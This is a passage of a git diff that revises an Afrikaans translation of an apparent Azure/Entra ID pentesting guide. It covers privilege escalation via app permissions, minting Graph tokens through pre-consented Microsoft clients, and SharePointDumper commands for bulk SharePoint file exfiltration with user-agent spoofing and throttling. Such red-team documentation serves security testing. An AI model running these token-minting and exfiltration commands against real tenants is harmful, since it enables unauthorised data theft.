<<<"$rra") + +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}" done < <(jq -c '.[2][]' <<<"$row") done < <(jq -c '.[]' <<<"$apps_json") ``` @@ -895,21 +934,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> 'n app met die toestemming **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** deur homself die rol toe te ken.\ +> ’n app met die permisie **`AppRoleAssignment.ReadWrite`** kan **eskaleer na Global Admin** deur homself die rol toe te ken.\ > Vir meer inligting [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> 'n Geheime string wat die application gebruik om sy identiteit te bewys wanneer dit 'n token versoek is die application password.\ -> Dus, as jy hierdie **password** vind, kan jy as die **service principal** **inside** die **tenant** toegang kry.\ +> ’n geheime string wat die application gebruik om sy identiteit te bewys wanneer dit ’n token versoek, is die application password.\ +> Dus, as jy hierdie **password** vind, kan jy toegang kry as die **service principal** **binne** die **tenant**.\ > Let daarop dat hierdie password slegs sigbaar is wanneer dit gegenereer word (jy kan dit verander maar jy kan dit nie weer kry nie).\ -> Die **owner** van die **application** kan **add a password** daaraan (sodat hy dit kan impersonate).\ -> Logins as hierdie service principals is **not marked as risky** en hulle **won't have MFA.** +> Die **eienaar** van die **application** kan 'n **password** daaraan byvoeg (sodat hy dit kan impersonate).\ +> Aanmeldings as hierdie service principals word **nie as risky gemerk nie** en hulle **sal nie MFA hê nie.** -It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +Dit is moontlik om 'n lys van algemeen gebruikte App IDs wat aan Microsoft behoort te vind by [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities -For more information about Managed Identities check: +Vir meer inligting oor Managed Identities, sien: {{#ref}} ../az-basic-information/ @@ -925,9 +964,9 @@ az identity list --output table {{#endtab }} {{#endtabs }} -### Azure Rolle +### Azure-rolle -Vir meer inligting oor Azure rolle, kyk: +Vir meer inligting oor Azure-rolle, sien: {{#ref}} ../az-basic-information/ @@ -1012,9 +1051,9 @@ Headers = @{ {{#endtab }} {{#endtabs }} -### Entra ID Rolle +### Entra ID-rolle -Vir meer inligting oor Azure-rolle kyk: +Vir meer inligting oor Azure-rolle sien: {{#ref}} ../az-basic-information/ @@ -1136,11 +1175,11 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember > [!WARNING] > As 'n toestel (VM) **AzureAD joined** is, sal gebruikers van AzureAD **in staat wees om aan te meld**.\ -> Boonop, as die aangemelde gebruiker **Owner** van die toestel is, sal hy **local admin** wees. +> Verder, as die aangemelde gebruiker **Owner** van die toestel is, sal hy **local admin** wees. ### Administratiewe Eenhede -Vir meer inligting oor administratiewe eenhede, sien: +Vir meer inligting oor administratiewe eenhede, kyk: {{#ref}} ../az-basic-information/ @@ -1175,14 +1214,14 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper) +## Microsoft Graph gedelegeerde SharePoint data exfiltration (SharePointDumper) -Aanvallers met 'n **gedelegeerde Microsoft Graph token** wat **`Sites.Read.All`** of **`Sites.ReadWrite.All`** insluit, kan **sites/drives/items** oor Graph opnoem en dan lêerinhoud trek via **SharePoint pre-authentication download URLs** (tyd-beperkte URLs wat 'n access token insluit). Die [SharePointDumper](https://github.com/zh54321/SharePointDumper) skrip outomatiseer die volledige vloei (enumeration → pre-auth downloads) en genereer per-versoek telemetrie vir deteksietoetsing. +Aanvallers met 'n **gedelegeerde Microsoft Graph token** wat **`Sites.Read.All`** of **`Sites.ReadWrite.All`** insluit, kan **sites/drives/items** oor Graph enumereer en dan **lêerinhoud aflaai** via **SharePoint pre-authentication download URLs** (tydbeperkte URLs wat 'n access token insluit). Die [SharePointDumper](https://github.com/zh54321/SharePointDumper) script automatiseer die volle vloei (enumeration → pre-auth downloads) en stuur per-versoek telemetrie vir deteksietoetsing. -### Obtaining usable delegated tokens +### Verkryging van bruikbare gedelegeerde tokens -- SharePointDumper self **authentiseer nie**; voorsien 'n access token (opsioneel 'n refresh token). -- Vooraf-toegestane **first-party clients** kan misbruik word om 'n Graph token te mint sonder om 'n app te registreer. Voorbeeld `Invoke-Auth` (van [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) aanroepe: +- SharePointDumper self **authentikeer nie**; voorsien 'n access token (opsioneel 'n refresh token). +- Vooraf-toegestemde (pre-consented) **first-party clients** kan misbruik word om 'n Graph token te mint sonder om 'n app te registreer. Voorbeeld `Invoke-Auth` (van [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) aanroepe: ```powershell # CAE requested by default; yields long-lived (~24h) access token Import-Module ./EntraTokenAid/EntraTokenAid.psm1 @@ -1195,31 +1234,31 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) ``` > [!NOTE] -> FOCI TRUE clients ondersteun refresh oor toestelle; FOCI FALSE clients vereis dikwels `-Origin` om reply-URL oorsprongvalidasie te bevredig. +> FOCI TRUE kliënte ondersteun refresh oor verskeie toestelle; FOCI FALSE kliënte vereis dikwels `-Origin` om reply URL oorsprongvalidasie te bevredig. -### Uitvoering van SharePointDumper vir enumeration + exfiltration +### SharePointDumper gebruik vir enumeration + exfiltration - Basiese dump met aangepaste UA / proxy / throttling: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' ``` -- Omvangbeheer: sluit werwe of uitbreidings in/uit en globale perke: +- Omvangbeheer: insluit/uitsluit werwe of uitbreidings en globale perke: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 ``` -- **Hervat** onderbroke uitvoerings (heropnoem, maar slaan afgelaaide items oor): +- **Hervat** onderbroke uitvoerings (herskan maar slaan reeds afgelaaide items oor): ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant ``` -- **Outomatiese token refresh by HTTP 401** (vereis dat EntraTokenAid gelaai is): +- **Outomatiese token-verversing op HTTP 401** (vereis EntraTokenAid gelaai): ```powershell Import-Module ./EntraTokenAid/EntraTokenAid.psm1 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' ``` -Operasionele notas: +Operationele notas: -- Gee voorkeur aan **CAE-enabled** tokens om mid-run verstryking te voorkom; verfrissingpogings word **nie** in die tool se API log ingeskryf nie. -- Genereer **CSV/JSON request logs** vir **Graph + SharePoint** en redigeer standaard ingeslote SharePoint download tokens (skakelbaar). +- Verkies **CAE-enabled** tokens om mid-run verval te voorkom; vernuwingpogings word **nie** in die tool se API-log aangeteken. +- Genereer **CSV/JSON request logs** vir **Graph + SharePoint** en masker ingebedde SharePoint download tokens standaard (skakelbaar). - Ondersteun **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, en **Ctrl+C-safe shutdown** vir traffic shaping tydens detection/IR tests. ## Entra ID Privilege Escalation @@ -1238,25 +1277,25 @@ Operasionele notas: ### Privileged Identity Management (PIM) -Privileged Identity Management (PIM) in Azure help om te **voorkom dat oormatige regte onnodig aan gebruikers toegewys word**. +Privileged Identity Management (PIM) in Azure help om te **voorkom dat oormatige bevoegdhede** onnodig aan gebruikers toegeken word. -Een van die hoofkenmerke wat deur PIM verskaf word, is dat dit toelaat om rolle nie permanent aan principals toe te ken nie, maar hulle **in aanmerking te laat kom vir 'n tydperk (e.g. 6months)**. Wanneer die gebruiker daardie rol wil aktiveer, moet hy daarvoor vra en die tyd aandui waarvoor hy die reg benodig (e.g. 3 hours). Dan moet 'n **admin die versoek goedkeur**.\ +Een van die hoofkenmerke wat deur PIM aangebied word, is dat dit toelaat om rolle nie aan principals wat konstant aktief is toe te ken nie, maar hulle in aanmerking te laat kom vir 'n tydperk (bv. 6 maande). Wanneer die gebruiker dan daardie rol wil aktiveer, moet hy daarvoor vra en die tyd aandui wat hy die bevoegdheid nodig het (bv. 3 uur). Daarna moet 'n **admin die versoek goedkeur**. Let daarop dat die gebruiker ook kan vra om die tyd te **verleng**. -Boonop stuur **PIM e-posse** wanneer 'n bevoorregte rol aan iemand toegeken word. +Boonop stuur **PIM e-posse** wanneer 'n geprivilegieerde rol aan iemand toegeken word.
-Wanneer PIM aangeskakel is, is dit moontlik om elke rol met sekere vereistes te konfigureer, soos: +Wanneer PIM geaktiveer is, is dit moontlik om elke rol met sekere vereistes te konfigureer soos: -- Maksimum duur (hours) van aktivering +- Maksimum duur (ure) van aktivering - Vereis MFA by aktivering - Vereis Conditional Access authentication context -- Vereis motivering by aktivering -- Vereis ticket information by aktivering +- Vereis regverdiging by aktivering +- Vereis ticket-inligting by aktivering - Vereis goedkeuring om te aktiveer -- Max time to expire the eligible assignments -- Baie meer konfigurasie oor wanneer en aan wie kennisgewings gestuur word wanneer sekere handelinge met daardie rol plaasvind +- Maksimum tyd tot die in aanmerking komende toewysings verval +- Baie meer konfigurasie oor wanneer en aan wie kennisgewings gestuur word wanneer sekere aksies met daardie rol plaasvind ### Conditional Access Policies @@ -1268,23 +1307,23 @@ Kyk: ### Entra Identity Protection -Entra Identity Protection is 'n sekuriteitsdiens wat toelaat om te **ontdek wanneer 'n gebruiker of 'n sign-in te riskant is** om te aanvaar, wat dit moontlik maak om die gebruiker of die sign-in poging te **blokkeer**. +Entra Identity Protection is 'n sekuriteitsdiens wat toelaat om te **ontdek wanneer 'n gebruiker of 'n aanmelding te riskant** is om aanvaar te word, en om die gebruiker of die aanmeldingspoging te **blokkeer**. -Dit laat die admin toe om dit te konfigureer om pogings te **blokkeer** wanneer die risiko "Low and above", "Medium and above" of "High" is. Nietemin, standaard is dit heeltemal **disabled**: +Dit stel die admin in staat om dit so te konfigureer om pogings te **blokkeer** wanneer die risiko "Low and above", "Medium and above" of "High" is. Alhoewel dit standaard heeltemal **gedeaktiveer** is:
> [!TIP] -> Tans word aanbeveel om hierdie beperkings via Conditional Access policies by te voeg waar dit moontlik is om dieselfde opsies te konfigureer. +> Deesdae word aanbeveel om hierdie beperkings via Conditional Access policies by te voeg waar dit moontlik is om dieselfde opsies te konfigureer. ### Entra Password Protection -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is 'n sekuriteitsfunksie wat help om die misbruik van swak wagwoorde te voorkom deur rekeninge te sluit wanneer verskeie onsuksesvolle aanmeldpogings plaasvind.\ -Dit laat ook toe om 'n pasgemaakte wagwoordlys te **verbied** wat jy moet verskaf. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is 'n sekuriteitsfunksie wat help om die misbruik van swak wagwoorde te voorkom deur rekeninge te blokkeer wanneer verskeie onsuksesvolle aanmeldingspogings plaasvind. +Dit maak ook voorsiening om 'n persoonlike wagwoordlys te **verbied** wat jy moet verskaf. -Dit kan **beide** op cloudvlak en on-premises Active Directory toegepas word. +Dit kan **op beide** vlakke toegepas word: in die cloud en on-premises Active Directory. -Die standaardmodus is **Audit**: +Die verstekmodus is **Audit**: